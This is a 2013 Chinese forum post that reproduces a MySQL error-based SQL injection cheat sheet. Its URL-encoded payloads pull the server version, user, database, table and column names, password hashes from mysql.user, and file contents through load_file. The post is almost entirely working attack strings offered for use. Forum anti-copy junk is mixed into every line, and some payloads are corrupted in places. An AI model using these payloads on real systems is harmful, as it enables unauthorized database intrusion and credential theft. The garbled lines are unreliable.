本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
$ i+ F+ z; c0 W) v3 _( t$ T* e$ z' h8 A$ }5 a" F" v
; U3 ]' f" c" U ~$ oMysql暴错注入参考(pdf),每天一贴。。。
0 D! O( `0 N; U0 g% E* p5 ~* @3 ?3 e8 l8 x
MySql Error Based Injection Reference- _- l2 q% ~2 _# r
[Mysql暴错注入参考]! }# L" R: e D: |6 u8 E
Authornig0s1992
) Y' h9 g. b/ ~/ X5 DBlog:http://pnig0s1992.blog.51cto.com/
/ x: a- _5 w( A- I3 tTeAm:http://www.FreeBuf.com/6 ?+ z* W, j( Y' w; F9 f z# Q7 U' |
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
7 D4 ^+ N2 ^" b小部分版本使用name_const()时会报错.可以用给出的Method.2测试
# \8 E0 K* G0 L: A: s, K# |查询版本:
' J! c# y! z$ u9 nMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+* l% ~0 V1 V1 ^5 e0 C- x. i
join+(select+name_const(@@version,0))b)c)
* v2 C( f# j4 n) VMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
+ K# }2 `9 Z; M7 R) z( y/ xup by a)b)
2 `# _: g6 ^+ X: w/ J查询当前用户:
6 x J! R# T: s* u$ WMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( |- R- v+ L6 Y1 t7 _5 cMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r7 D5 S; D }9 V/ s4 ^" ?; b
and(0)*2))x+from+information_schema.tables+group+by+x)a)* ~/ V9 o2 g, x: ]( P2 R+ J% I
查询当前数据库:
2 g. u' s- s' T; ]- r8 x- uMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c): H7 O9 i- H1 R, v* h
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ C/ @; A5 Y Y' b, q) p3 d6 b$ Uor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)0 L7 Z( @+ z2 w5 i y ]" t' h' `
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ ^1 f) Z9 w' z8 u* r) ]LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n- P- Y; u6 }/ R! V
顺序替换
. D! ^, G+ C, ?# ]( ]6 q爆指定库数目:
: A N5 ~; L6 |# V3 D dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
, {0 q! a1 X3 b- cable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, E! U* R2 I$ p1 V' e+by+x)a)+and+1=1 0x6D7973716C=mysql& r8 s: F5 ] G: Q$ a
依次爆表: r, J4 Q! W" i7 @$ ^/ w
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
% |% b. v6 \9 `, }' Z! Lable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
4 p* x/ a/ K' S$ j) P! xbles+group+by+x)a)+and+1=1) ^% m: P& |+ d! U4 ^
0x6D7973716C=Mysql 将n顺序替换
% ]: S8 I/ v. g, n- d爆表内字段数目:% Z1 c3 `8 F4 [6 t
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE7 R* X6 c. t- X! i' d$ g# M
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
+ G7 `1 o. A, K' q7 u0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1* e4 y- v5 m- ~0 b; C# s
依次爆字段:
' G% s2 o8 F" jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
) u' U+ @/ m9 [- C Y' G2 o+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
( v2 T1 v f9 X9 Dloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
4 ?, i3 n/ ^2 e0 D; i6 w* i1 a依次暴内容:
2 d) f# Z# }! ]: [& Y! k4 ~and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
" k" o& r' B, x& f4 ~" R! }0 ^ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=11 j9 k# F* N8 D# T# f% M
将n顺序替换2 _9 Y, z- g5 }, {5 S" a
爆文件内容:9 L# ~* @8 o& S/ s) G
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a' J) d+ g$ Z3 @; m! H( j( X" P- b" L
from+information_schema.tables+group+by+a)b) 4 y' B. r+ _# z" C1 ]! p. g7 F
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节6 l' F, i* Q1 m' Q7 u; K U3 X; ^
Thx for reading.
; F; `* R* v9 m. V! j7 Z' M
9 g i9 d; w7 V不要下载也可以, * }5 x4 j0 @+ W% }' U$ L& `2 d
|